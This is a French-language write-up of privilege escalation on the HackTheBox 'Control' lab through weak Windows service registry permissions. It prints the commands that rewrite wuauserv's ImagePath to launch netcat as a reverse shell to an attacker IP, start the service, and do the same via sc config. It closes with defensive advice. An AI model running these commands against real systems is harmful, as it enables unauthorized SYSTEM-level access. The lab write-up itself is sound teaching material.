Image path control exploit

DISCLAIMER: cet article explique comment il est possible d'exploiter des défauts de configuration au sein des services Windows. pour illustrer cet article je me suis basé sur l'exploitation de la box Control proposée sur le site hackthebox car je n'ai pas eu le courage de monter un environnement de test. Si vous ne voulez pas être spoilé je vous invite à ne pas lire ce qu'il suivra, finir la box et revenir plus tard pour avoir plus d'informations sur la privesc :) !


Tout au long de cet article nous allons voir comment il est possible d'exploiter des défauts de configuration de services Windows dans le but d’élever ses privilèges. Pour cela nous allons voir comment il a été possible de privesc sur la box Control proposée par Hackthebox.

Alors je vais ne pas refaire/détailler toute la partie exploitation user. En effet de nombreuses personnes ont déjà écrit plusieurs write ups que vous pourrez facilement retrouver sur Internet. Tout ce qu'il faut savoir c'est qu'à partir d'une injection SQL nous obtenons un shell qui nous permettra de nous connecter via WinRM en tant que "Hector":

Après avoir énumérer pendant une longue après midi je me suis penché sur les services Windows et je me suis rendu compte que l'utilisateur disposait de privilèges élevés sur plusieurs services. Pour cela je me suis servi de la commande Get-ACL via la commande suivante:

Get-ACL HKLM:\System\CurrentControlSet\Services\* | Format-List * | findstr /i "Hector Users Path Everyone"

L'output nous liste tous les services sur lesquels nous avons tous les droits symbolisés par le "CONTROL\Hector Allow FullControl":

Pour rappel, le droit "Full Control" implique que nous pouvons modifier l'objet, le lire, l'exécuter et lister son contenu. Or sous Windows l'ensemble des variables de configuration d'un service sont stockées dans l'arbre de registre situé dans:

HKLM:\System\CurrentControlSet\Services\*

Ci dessous nous pouvons voir un extrait des services Windows existants sous Windows 2016:

Chaque service dispose d'une clé de registre dans ce répertoire qui peut elle même contenir plusieurs sous clés. Par exemple sur mon environnement de test AD j'ai un DC sur lequel tourne un serveur DNS et donc un service DNS. Voici les clés de registre qui le composent:

Plusieurs choses sont intéressantes ici. Tout d'abord on peut voir que le service est démarré au lancement du serveur. Cette option est indiquée par la directive "Start" dont la valeur vaut 2.

La directive "Start" peut avoir 5 valeurs différentes:

  • 0: le service sera démarré par le kernel
  • 1: le service sera démarré par le système
  • 2: le service sera toujours démarré
  • 3: le service doit être démarré manuellement
  • 4: le service est désactivé

Ces informations pourront aussi être obtenues via l'interface wmic:

wmic service get name,processid,startmode,status,startname

Une autre clé de registre intéressante est la clé de registre "Image Path" qui indique l'emplacement disque du binaire à exécuter pour lancer le service. Dans le cas du service DNS on peut voir que le binaire à lancer est le binaire dns.exe situé dans le répertoire System32.

On pourrait donc tenter de réécrire la clé de registre "Image Path" d'un des services sur lesquels nous avons les droits full puis redémarrer ce service. Malheureusement nous ne disposons pas des droits suffisants pour redémarrer un service. A la place on pourrait lister l'ensemble des services sur lesquels nous avons les droits full et dont la clé de registre "Start" est initialisée à 3. Si un tel service existe, qu'il tourne en tant que NT System et qu'il n'est pas démarré alors nous pourrons aisément réécrire la clé de registre "Image Path" de ce service puis le redémarrer dans le but d'exécuter notre payload.

Plusieurs services peuvent être exploités mais j'ai choisi de cible le service wuauserv. Pour rappel, le service wuauserv (Windows Update) est un service utilisé dans le but de détecter si des mises à jour système sont disponibles.

Voici ses clés de registre:

Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\wuauserv

On voit bien que le service peut être démarrer manuellement. Il ne nous reste donc plus qu'à modifier la clé de registre "Image Path" via la commande powershell suivante:

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\wuauserv -Name "ImagePath" -Value "c:\Temp\nc64.exe -e powershell.exe 10.10.14.29 4444"

Puis lancer le service:

Start-Service wuauserv

On obtiendra ainsi un shell NT System:

La procédure pourra être exécuté depuis un shell cmd classique via les commandes suivantes:

sc config wuauserv binpath= "cmd.exe ..."
sc start wuauserv

Alors comment se protéger face à cet exploit.

Premièrement il est important de faire une revue des droits des utilisateurs. Un simple utilisateur ne devrait pas avoir les droits full sur les services Windows. Au delà de l'élévation de privilège, un attaquant qui obtient de tels accès pourrait stopper des services cruciaux sur un active directory comme le service DNS ce qui aurait pour conséquence de bloquer le réseau interne. De plus il peut être intéressant de monitorer les événements de réécriture de la clé de registre "Image Path".